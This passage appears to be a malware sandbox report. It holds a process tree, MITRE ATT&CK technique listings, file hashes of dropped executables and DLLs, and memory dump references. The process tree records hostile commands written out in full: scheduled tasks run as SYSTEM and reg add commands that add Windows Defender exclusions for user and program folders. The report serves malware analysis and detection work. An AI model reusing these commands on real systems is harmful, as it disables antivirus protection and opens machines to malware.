      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4276
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4012
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1904
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3368
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1996
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4852
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1284
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4708
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2788
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4840
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1568
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1060
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3304
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3512

C:\Users\Public\RjxV5b\ObgUmz.exe
"C:\Users\Public\RjxV5b\ObgUmz.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2732

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\RjxV5b" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\RjxV5b" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1788

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2900

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2472

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3632
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4456

C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe
"C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe"
1⤵
- Executes dropped EXE
PID:3896

C:\Program Files (x86)\Z2S7XE38\e2Mtl1CZX.exe
"C:\Program Files (x86)\Z2S7XE38\e2Mtl1CZX.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2204

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\zbT5Ep" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4792
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\zbT5Ep" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2064

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1008
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4304

C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe
"C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5104

C:\Program Files (x86)\Z2S7XE38\e2Mtl1CZX.exe
"C:\Program Files (x86)\Z2S7XE38\e2Mtl1CZX.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4932

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4292
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4604

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1072
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\Z2S7XE38\XPSPLOG.dll
Size 4.6MB
SHA256 ffa044c1a5ed58385767f4b36f7546d32230bc1d639d2512c1840cd57700df2f
MD5 fc144d30bc4766a4739a213967fe3848
SHA1 0babe2565eb9f1cbd47d3b9afe6f4ce1fba686be
SHA512 d188db6fd02b1b1631cb6bef2bcfe278e3ee28c09172f2db0e4cfe9615b630290a02a64cdb634e794f33f70aa6d9155691b40b82f1d690471a4932e52a7da75b
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyl:BMWKfU+BcUTHCCCfqCiUffnl
TLSH
T159263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\Z2S7XE38\image.png
Size 4.8MB
SHA256 dfa27c38590b179d9e2537caa0ec7c47639408912b52fb9a3d1749a6e53ce95d
MD5 2a6a0bc5bdbf8b63b2b5595d6cb65cfb
SHA1 d47da71bc56adb692f1d9ae321d0a76ad8181c14
SHA512 c69f368900f99d4c91e4fc1dd8a1986f44125dcbc3a5763e8969fde9c29f0f9b0d12b92c42f4763bdd519d075cebc462e1b594ada5aa0a974f00f532548fd0ce
SSDEEP 98304:0/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:0MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T17F36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\zbT5Ep\XPSPLOG.dll
Size 4.6MB
SHA256 245c2b1773d731685b8f6d5e0706e4d1cba03e03d62d06ae3cac866c3a86d993
MD5 afeca0e0c49dbebc32fc9dfa6571c9f3
SHA1 84397d1b4a333a7850d6429bc2b8b1252e5f0a67
SHA512 e889f862eaba113f6dcab78fd10da3ec1651e73278a424dd5c6fa6bccc7305fbb1ee387e0f659f590507f5c619de521181e887ec61c8efb455426d980764c3ab
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmya:BMWKfU+BcUTHCCCfqCiUffna
TLSH
T1F0263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\zbT5Ep\image.png
Size 4.8MB
SHA256 c8df1e7adb92fbdd57136415e8a25a4a4dd2ad02fffca41642ebdad6ad40b8e0
MD5 b4c1248cf5e90d95fbbb1957693fdeee
SHA1 33ccf4cb30d1a085d6f031d03fa858f51a3bd16d
SHA512 482aa7ddea5e4d82b67f8555cdb25d4fbdf302bf5907b52f718af1105c35d00ba0a5597282399599943f0f1ed8cd3d709a859b06e918ab3a7717df29266ef1d2
SSDEEP 98304:m/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:mMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1A736334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\zbT5Ep\thumbs.db
Size 358KB
SHA256 1749ac2c10c594b3d67a1b4c8a2de1d1c61bb50fabb0c62843b2a240e12feec6
MD5 72dbdfcd3a97e3d3d2283ca0aa026498
SHA1 941b80b5662cc8852c4e39528095c5785d6ae46b
SHA512 5d0ef40aa31bfbbba7702348cfef109fc0ad81350c49ff3b5352acf731972ae6b8a9b140d563a821bdee9ab771e24e7cbb4b4de658d72a7d2a4eda0d032d612e
SSDEEP 6144:eiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:R8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T10D74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zbT5Ep.exe

Path C:\Program Files (x86)\zbT5Ep\zbT5Ep.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 61478062c78545632eed6f85d2a64251ade86aefade54870a7347b6ad7328efe
MD5 62645951ff29dffffe17ee2274e5eced
SHA1 52eff3167ae086f232a996463cfaa07d1a884c09
SHA512 0e58cff7bb0138222a46b710ed49153520968d6e4d0ba89b0404b51345b7eeed29ddd5b6cec1748bba06d9804c69caaeea167d74c64e1231bac06495c5b0a5a3
TLSH
T1AC31A4B7AB2D6A868F2E4E8015DBE2222DD5D2909CC9489E7155C4549F083B52F4EA0C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 3d4a5f3db2ad4736a5e61960d6b72631dcbc217c59248c8344e762401117f695
MD5 c24f8261e2f9bc59e0bdf1f0decec827
SHA1 9f34636fdd22bc3829e4586514e47b3ab18725c9
SHA512 9769bbd2487f76e8ae7a56869aa84b7801395074176c7a0c31eb8d1335bd20d25f9bcedd1a5b0ec98bcea0543edbc33f438672143f9c3b78f6d6ec5336281a7f
TLSH
T10031D68A893A50178F0C8F6552D5E13FBDF1D53598F80843262DC1AA570AF776FC2409
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 43c3b7f1113f7b6e9bc24100abc41a09acc747b0630f49d93329653aa05775bf
MD5 c4301b278341c035c7e56a166c7db001
SHA1 b365d64c53871e15e8f9cf6de88fedb33d740945
SHA512 1e687cbfc8047b2931f7cc1fd0a6802682ed3b02163d0f0d2a6edff720d3f3914fd06b80e48d166d89b07b8abba62355c188d5ed7ab917243ce4ba046a4b7495
TLSH
T1A0F05C1C097D513EF133DA3C8AD63AB61A7FF607240685A407A44B0CE157D412C11979
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 1b8be461e0cb68fec3de6bb55d35ac6f104b878a26ac407bd74a284cd060cfae
MD5 94ad2968c01bae569db46de7bf668aa9
SHA1 7c90989c08467da0a51d9642ad1e69855319f1e5
SHA512 825826a26d2b175b462c5d5bd49e854f06b1a1e0d259ae82d810b55786fff665ffc69fd1ed1dab0a0787596dea566ebda088b128cafc08d22c900f980c40cf66
TLSH
T142F0A33D0AD9011FF47BD6F88BD675716575E533200A667D0AE602445F52C405C8122C
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
TLSH
T1A4417C303261A9D84D435B0215286ED5E3EF478AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 322123f38909fd68b2c8d8325e319d23577b9fc96669dac3fd7fcc6e4b2e6cea
MD5 6918296eba314eb9b76eb28a1c6418d2
SHA1 d6ea79d8e5857f3c8b03cbef845cf52db9c97fb0
SHA512 54f2fadc2fa21db74cc5bfe2458cfbe5d4d71944349e3ce1f321a2533c59d13493662326ff18ca496419019e6481b31f059ed2025d0928e6c1a13c62a6d9945c
SSDEEP 384:Lsf+B+9m+RMl4e2jVBFz0Do9o2TVK6seY4JE/E/H3SoZ7fx3g4jELk2Q0gdMtkKF:Qf1uQjVXA0o2TVNnOmXSuOmEL7Cm3
TLSH
T17782C76E611F16C3C48613B8E117045FE8F2DE8D531A13D97B1E9F3B8AACA9E903D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_mxquit45.a0l.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mxquit45.a0l.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

ObgUmz.exe

Path C:\Users\Public\RjxV5b\ObgUmz.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\RjxV5b\UxEnhance64.dll
Size 3.1MB
SHA256 fc53c9d37b7cc5010252b71fae85cf6a8e63d0963ef21dece35a4e4c7e75bf25
MD5 7e70ddc2b6b3e7038237bc79b12b1438
SHA1 07c3d0ef5dddd14c18ba45d1b3098d9fe435eda3
SHA512 47512201ed9886363faabaf161fe71806a1edbee5b52fa3c34f32d38a87efc354c733f77008e4f41b24f4558b72c1db0d047b41320051b90d5fd09ffcc86d49e
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+2:P9m29xx3Tiqt06ox6+z2rNNrKo2
TLSH
T1AFE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\RjxV5b\adoresd.dat
Size 4.7MB
SHA256 fbc52aeaebe44052e7b09e78963cb89e9af93c13f846878ef7e7d7cb766cdd63
MD5 4b637e48af053cde66c2e1ad273d67b9
SHA1 eb5385eeadb87015cb1bf7169a6138a2f3096735
SHA512 b6ee1e9ed6ec1b029ad748d951acfb124cf493c6ee3a369cfe5fbdbdd7ec19d75ec761930e98db6a805e127de39a5c5a659e16aa1096a8a634f7ed71b44ef6f6
SSDEEP 98304:uKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:uKClqhi0Cv54K2IVS0VQg
TLSH
T1B93633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\RjxV5b\msadox.tb
Size 8KB
SHA256 92f10e5c56eb1f365159852a1882cb501e6ecd6a2b03efc10a9bc0446f4e7153
MD5 e89abc85c42caf999956d8524d55064f
SHA1 7f2ad99d4fbbbfd44b610ae6d580919ce65cea76
SHA512 54258be286e20146469751a66d458de0e87e641f0c00832d422afe6564fb784a8dfade71d06141b0967e19c25e0a113d61967caf9b23185b9b35aed6c3cd4427
SSDEEP 192:VqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:VsZqZOXQ3uqvR2Kfzp
TLSH
T12F029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2204-725-0x00000000031F0000-0x00000000039CD000-memory.dmp

Download

memory/2204-720-0x0000000073EB0000-0x00000000745FA000-memory.dmp

Download

memory/2204-726-0x0000000000A80000-0x0000000000A81000-memory.dmp

Download

memory/2204-730-0x0000000000920000-0x0000000000921000-memory.dmp

Download

memory/2204-727-0x00000000031F0000-0x00000000039CD000-memory.dmp

Download

memory/2204-719-0x0000000000920000-0x0000000000921000-memory.dmp

Download

memory/2456-710-0x0000000003650000-0x0000000003E2D000-memory.dmp

Download

memory/2456-671-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

Download

memory/2456-669-0x0000000003650000-0x0000000003E2D000-memory.dmp

Download

memory/2456-676-0x0000000003650000-0x0000000003E2D000-memory.dmp

Download

memory/2456-688-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/2456-673-0x0000000003650000-0x0000000003E2D000-memory.dmp

Download

memory/2456-683-0x0000000001540000-0x0000000001554000-memory.dmp

Download

memory/2456-665-0x00000000753D0000-0x0000000075B1A000-memory.dmp

Download

memory/2456-684-0x0000000003650000-0x0000000003E2D000-memory.dmp

Download

memory/2456-664-0x0000000000C80000-0x0000000000C81000-memory.dmp

Download

memory/2456-731-0x0000000003650000-0x0000000003E2D000-memory.dmp

Download

memory/2732-590-0x000002EC9D560000-0x000002EC9DDE7000-memory.dmp

Download

memory/2732-585-0x000002EC9D560000-0x000002EC9DDE7000-memory.dmp

Download

memory/2732-589-0x000002EC9D560000-0x000002EC9DDE7000-memory.dmp

Download

memory/2732-591-0x000002EC9D560000-0x000002EC9DDE7000-memory.dmp

Download

memory/2732-584-0x00007FFE53A40000-0x00007FFE53A42000-memory.dmp

Download

memory/2732-592-0x000002EC9D560000-0x000002EC9DDE7000-memory.dmp

Download

memory/2732-593-0x00007FFE53A30000-0x00007FFE53A32000-memory.dmp

Download

memory/2732-579-0x00007FFE35BA0000-0x00007FFE360BE000-memory.dmp

Download

memory/2732-582-0x000002EC9D560000-0x000002EC9DDE7000-memory.dmp

Download

memory/3400-525-0x00007FFE44B90000-0x00007FFE44BA0000-memory.dmp

Download

memory/3400-1-0x00000000001E0000-0x00000000001EE000-memory.dmp

Download

memory/3400-0-0x00000000001E0000-0x00000000001EE000-memory.dmp

Download

memory/3400-2-0x00000000001F0000-0x00000000001FC000-memory.dmp

Download

memory/3400-504-0x00007FFE44B90000-0x00007FFE44BA0000-memory.dmp

Download

memory/3400-524-0x00000000001E0000-0x00000000001EE000-memory.dmp

Download

memory/3700-739-0x00000000057D0000-0x00000000057F2000-memory.dmp

Download

memory/3700-778-0x0000000007990000-0x0000000007A33000-memory.dmp

Download

memory/3700-796-0x0000000007D00000-0x0000000007D14000-memory.dmp

Download

memory/3700-792-0x0000000007B30000-0x0000000007B3A000-memory.dmp

Download

memory/3700-768-0x0000000006D70000-0x0000000006DA2000-memory.dmp

Download

memory/3700-777-0x0000000007770000-0x000000000778E000-memory.dmp

Download

memory/3700-769-0x000000006F6E0000-0x000000006F72C000-memory.dmp

Download

memory/3700-790-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

Download

memory/3700-751-0x0000000006800000-0x000000000684C000-memory.dmp

Download

memory/3700-750-0x0000000006770000-0x000000000678E000-memory.dmp

Download

memory/3700-798-0x0000000007DE0000-0x0000000007DE8000-memory.dmp

Download

memory/3700-795-0x0000000007CF0000-0x0000000007CFE000-memory.dmp

Download

memory/3700-793-0x0000000007D40000-0x0000000007DD6000-memory.dmp

Download

memory/3700-794-0x0000000007CC0000-0x0000000007CD1000-memory.dmp

Download

memory/3700-737-0x0000000005200000-0x0000000005236000-memory.dmp

Download

memory/3700-738-0x0000000005870000-0x0000000005E98000-memory.dmp

Download

memory/3700-789-0x0000000008110000-0x000000000878A000-memory.dmp

Download

memory/3700-740-0x0000000005FA0000-0x0000000006006000-memory.dmp

Download

memory/3700-741-0x0000000006010000-0x0000000006076000-memory.dmp

Download

memory/3700-797-0x0000000007E00000-0x0000000007E1A000-memory.dmp

Download

memory/3700-747-0x0000000006140000-0x0000000006494000-memory.dmp

Download

memory/4276-821-0x00000000070D0000-0x00000000070E1000-memory.dmp

Download

memory/4276-820-0x0000000006E00000-0x0000000006EA3000-memory.dmp

Download

memory/4276-812-0x000000006F790000-0x000000006F7DC000-memory.dmp

Download

memory/4276-811-0x00000000060F0000-0x000000000613C000-memory.dmp

Download

memory/4276-809-0x0000000005570000-0x00000000058C4000-memory.dmp

Download

memory/4652-563-0x000001F969000000-0x000001F969887000-memory.dmp

Download

memory/4652-544-0x000001F969000000-0x000001F969887000-memory.dmp

Download

memory/4652-530-0x00007FFE53A30000-0x00007FFE53A32000-memory.dmp

Download

memory/4652-531-0x00007FFE35BA0000-0x00007FFE360BE000-memory.dmp

Download

memory/4652-536-0x000001F969000000-0x000001F969887000-memory.dmp

Download

memory/4652-539-0x000001F969000000-0x000001F969887000-memory.dmp

Download

memory/4652-543-0x000001F969000000-0x000001F969887000-memory.dmp

Download

memory/4652-538-0x00007FFE53A40000-0x00007FFE53A42000-memory.dmp

Download

memory/4652-545-0x000001F969000000-0x000001F969887000-memory.dmp

Download

memory/4652-557-0x000001F969CD0000-0x000001F969D5A000-memory.dmp

Download

memory/4652-546-0x000001F969000000-0x000001F969887000-memory.dmp

